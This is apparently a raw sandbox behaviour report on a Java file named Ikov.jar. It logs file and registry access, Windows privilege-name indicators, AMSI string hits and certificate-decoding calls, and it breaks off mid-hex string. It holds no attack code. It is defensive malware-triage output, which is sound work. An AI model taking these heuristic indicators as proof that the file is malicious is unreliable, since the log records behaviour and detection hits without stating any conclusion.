"javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\COURI.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\COURBI.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\WINGDING.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\SYMBOL.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\TIMES.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\TIMESBD.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\TIMESI.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\TIMESBI.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\ARIAL.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\ARIALBD.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\ARIALI.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\ARIALBI.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\COUR.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\COURBD.TTF" "javaw.exe" trying to access non-existent file "C:\Program Files\Java\jre-1.8\lib\fonts\SIMSUN.TTC"40:T879,"javaw.exe" called "FindFirstFileA" with parameter C:\Program Files (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileA" with parameter %PROGRAMFILES%\Java (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileA" with parameter %PROGRAMFILES%\Java\jre-1.8 (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileA" with parameter %PROGRAMFILES%\Java\jre-1.8\lib (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileA" with parameter %PROGRAMFILES%\Java\jre-1.8\lib\rt.jar (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileW" with parameter C:\Program Files (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileW" with parameter %PROGRAMFILES%\Java (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileW" with parameter %PROGRAMFILES%\Java\jre-1.8 (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileW" with parameter %PROGRAMFILES%\Java\jre-1.8\bin (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileW" with parameter %PROGRAMFILES%\Java\jre-1.8\bin\zip.dll (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileW" with parameter %PROGRAMFILES%\Java\jre-1.8\lib (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileW" with parameter %PROGRAMFILES%\Java\jre-1.8\lib\ext (UID: 00000000-00000860) "javaw.exe" called "FindFirstFileW" with parameter %PROGRAMFILES%\Java\jre-1.8\lib\ext\* (UID: 00000000-00000860) "javaw.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000860) "javaw.exe" called "FindNextFileW" with parameter access-bridge-64.jar (UID: 00000000-00000860) "javaw.exe" called "FindNextFileW" with parameter cldrdata.jar (UID: 00000000-00000860) "javaw.exe" called "FindNextFileW" with parameter dnsns.jar (UID: 00000000-00000860) "javaw.exe" called "FindNextFileW" with parameter jaccess.jar (UID: 00000000-00000860) "javaw.exe" called "FindNextFileW" with parameter jfxrt.jar (UID: 00000000-00000860) "javaw.exe" called "FindNextFileW" with parameter localedata.jar (UID: 00000000-00000860) "javaw.exe" called "FindNextFileW" with parameter meta-index (UID: 00000000-00000860) "javaw.exe" called "FindNextFileW" with parameter nashorn.jar (UID: 00000000-00000860)41:Ta0e,Found reference to API "SeCreateTokenPrivilege" (Indicator: "SeCreateTokenPrivilege"; File: "Ikov.jar") Found reference to API "SeAssignPrimaryTokenPrivilege" (Indicator: "SeAssignPrimaryTokenPrivilege"; File: "Ikov.jar") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; File: "Ikov.jar") Found reference to API "SeIncreaseQuotaPrivilege" (Indicator: "SeIncreaseQuotaPrivilege"; File: "Ikov.jar") Found reference to API "SeMachineAccountPrivilege" (Indicator: "SeMachineAccountPrivilege"; File: "Ikov.jar") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; File: "Ikov.jar") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; File: "Ikov.jar") Found reference to API "SeTakeOwnershipPrivilege" (Indicator: "SeTakeOwnershipPrivilege"; File: "Ikov.jar") Found reference to API "SeSystemProfilePrivilege" (Indicator: "SeSystemProfilePrivilege"; File: "Ikov.jar") Found reference to API "SeSystemtimePrivilege" (Indicator: "SeSystemtimePrivilege"; File: "Ikov.jar") Found reference to API "SeProfileSingleProcessPrivilege" (Indicator: "SeProfileSingleProcessPrivilege"; File: "Ikov.jar") Found reference to API "SeIncreaseBasePriorityPrivilege" (Indicator: "SeIncreaseBasePriorityPrivilege"; File: "Ikov.jar") Found reference to API "SeCreatePagefilePrivilege" (Indicator: "SeCreatePagefilePrivilege"; File: "Ikov.jar") Found reference to API "SeCreatePermanentPrivilege" (Indicator: "SeCreatePermanentPrivilege"; File: "Ikov.jar") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; File: "Ikov.jar") Found reference to API "SeAuditPrivilege" (Indicator: "SeAuditPrivilege"; File: "Ikov.jar") Found reference to API "SeSystemEnvironmentPrivilege" (Indicator: "SeSystemEnvironmentPrivilege"; File: "Ikov.jar") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; File: "Ikov.jar") Found reference to API "SeRemoteShutdownPrivilege" (Indicator: "SeRemoteShutdownPrivilege"; File: "Ikov.jar") Found reference to API "SeUndockPrivilege" (Indicator: "SeUndockPrivilege"; File: "Ikov.jar") Found reference to API "SeSyncAgentPrivilege" (Indicator: "SeSyncAgentPrivilege"; File: "Ikov.jar") Found reference to API "SeEnableDelegationPrivilege" (Indicator: "SeEnableDelegationPrivilege"; File: "Ikov.jar") Found reference to API "SeManageVolumePrivilege" (Indicator: "SeManageVolumePrivilege"; File: "Ikov.jar") Found reference to API "SeCreateGlobalPrivilege" (Indicator: "SeCreateGlobalPrivilege"; File: "Ikov.jar")42:T9a4,"javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "javaw.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")43:T62f,file/memory contains long string with (Indicator: "Export-ModuleMember"; File: "AMSI") Found string "elWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpWDOScan.cdxml-Help.xml}Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Start-MpWDOScan' -Alias '*'" (Indicator: "Export-ModuleMember"; File: "AMSI") Found string "on_objectModelWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpRollback.cdxml-Help.xml}Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Start-MpRollback' -Alias '*'" (Indicator: "Export-ModuleMember"; File: "AMSI") Found string "# Format-Hex cmdlet helps in displaying the Hexadecimal equivalent of the input data." (Indicator: "Format-Hex"; Source: "00000000-00005400.00000000.156962.06FA2000.00000004.mdmp, 00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found string "function Format-Hex" (Indicator: "Format-Hex"; Source: "00000000-00005400.00000000.156962.06FA2000.00000004.mdmp, 00000000-00005400.00000001.157945.06FB1000.00000004.mdmp") Found string "# PS# 170..180 | format-hex -Raw" (Indicator: "Format-Hex"; Source: "00000000-00005400.00000000.156962.06FD8000.00000004.mdmp") Found string "# .{ $i;$i;$i;$i64 } | format-hex" (Indicator: "Format-Hex"; Source: "00000000-00005400.00000000.156962.06FD8000.00000004.mdmp") Found string "function ConvertFrom-SddlString" (Indicator: "ConvertFrom-SddlString"; Source: "00000000-00005400.00000000.156962.06FD8000.00000004.mdmp")44:T83d,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SYSTEM.TRANSACTIONS__B77A5C561934E089") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\.NETFRAMEWORK\APPCONTEXT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.3.0.SYSTEM.MANAGEMENT.AUTOMATION.RESOURCES_EN-US_31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP") "powershell.exe" (Access type: "OPEN"; Path: "HKLM") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\V4.0_POLICY.10.0.MICROSOFT.APPV.APPVCLIENTPOWERSHELL__31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.10.0.MICROSOFT.APPV.APPVCLIENTPOWERSHELL__31BF3856AD364E35") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS")45:T4285,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDV/poQLjVsb85LnwsCuA0OwrdhOgJ9Idx88iVA/crVxKCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420d5fe9a102e356c6fce4b9f0b02b80d0ec2b7613a027d21dc7cf22540fdcad5c4a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420d5fe9a102e356c6fce4b9f0b02b80d0ec2b7613a027d21dc7cf22540fdcad5c4a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCCGKubREngV5EFDodK5brTAqlkaVHav/M+SkqGWqFKKqCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoIgYJKoZIhvcNAQcCoIIoEzCCKA8CAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14134" "dwFlags": "1" "pbBinary": "3082282206092a864886f70d010702a08228133082280f020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "26280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCHnmKbck0ySOYBbtr7gcHQVsdIM0PxB7sZ2FyCQLdcFaCCDRowggZhMIIESaADAgECAhMzAAABJF" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420879e629b724d3248e6016edafb81c1d056c7483343f107bb19d85c8240b75c15a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd25d7f7994b84f6794eae156bdd7056748472b3fa3f2611f74d806ed84caae2c31d75e1d722d88bcab91b0a67fd03135f4ba74e58d0203010001a382018f3082018b300e0603551d0f0101ff040403020780301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e041604142b4eb0a3eedc4ec122deeaf891bb93e82198091430450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d353030343436" "pcbBinary": "29280000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIoJQYJKoZIhvcNAQcCoIIoFjCCKBICAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "14138" "dwFlags": "1" "pbBinary": "3082282506092a864886f70d010702a082281630822812020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420879e629b724d3248e6016edafb81c1d056c7483343f107bb19d85c8240b75c15a0820d1a3082066130820449a003020102021333000001245da29171e02095aa000000000124300d06092a864886f70d01010c05003053310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312430220603550403131b57696e646f77732050726f64756374696f6e205043412032303233301e170d3236303433303138333933345a170d3237303432393138333933345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f7773308201a2300d06092a864886f70d01010105000382018f003082018a0282018100911f348d62498ba470aa25f578b7331e206dffa20eadcb9d7e8311a7bc383360823b502374ceaf65a48f43fe0c2333e5b226c1071a03980907af6a10e7e19ae8317a17e7f59551c90ced2c2de50e4b4d8ec1ef5fbcc9a824d038f51d0a2fe5dbc8013f88d97645bc1517b8c51a5e57781171d61065feb86e517fb676188e92cf97338149f97e64d903c0429e6f1ae3a24bda3e772fb6f5e7f84c46feece6edecf00c132255c00709485085d2094c52fd2ec26b27fc6d41d1b6cb0674b7d5ab0d214e095f47e31fd7ff61453388588732fe72a4aa30c97b3a7313a4ffe1563121dcee69eb618246c1349b6a382e8f2e9a776b218747271de0e38909a858bdf96ecc8d9ea3ab1564259a265f27d639eff1f603bf0634cb916b5bc5fd3b998a3fdd39decec493d9fa88c378b085bfb92b7645c0d42d3e13d44c12fe1a54d91a1da843d45f20eefe6e2389b96fd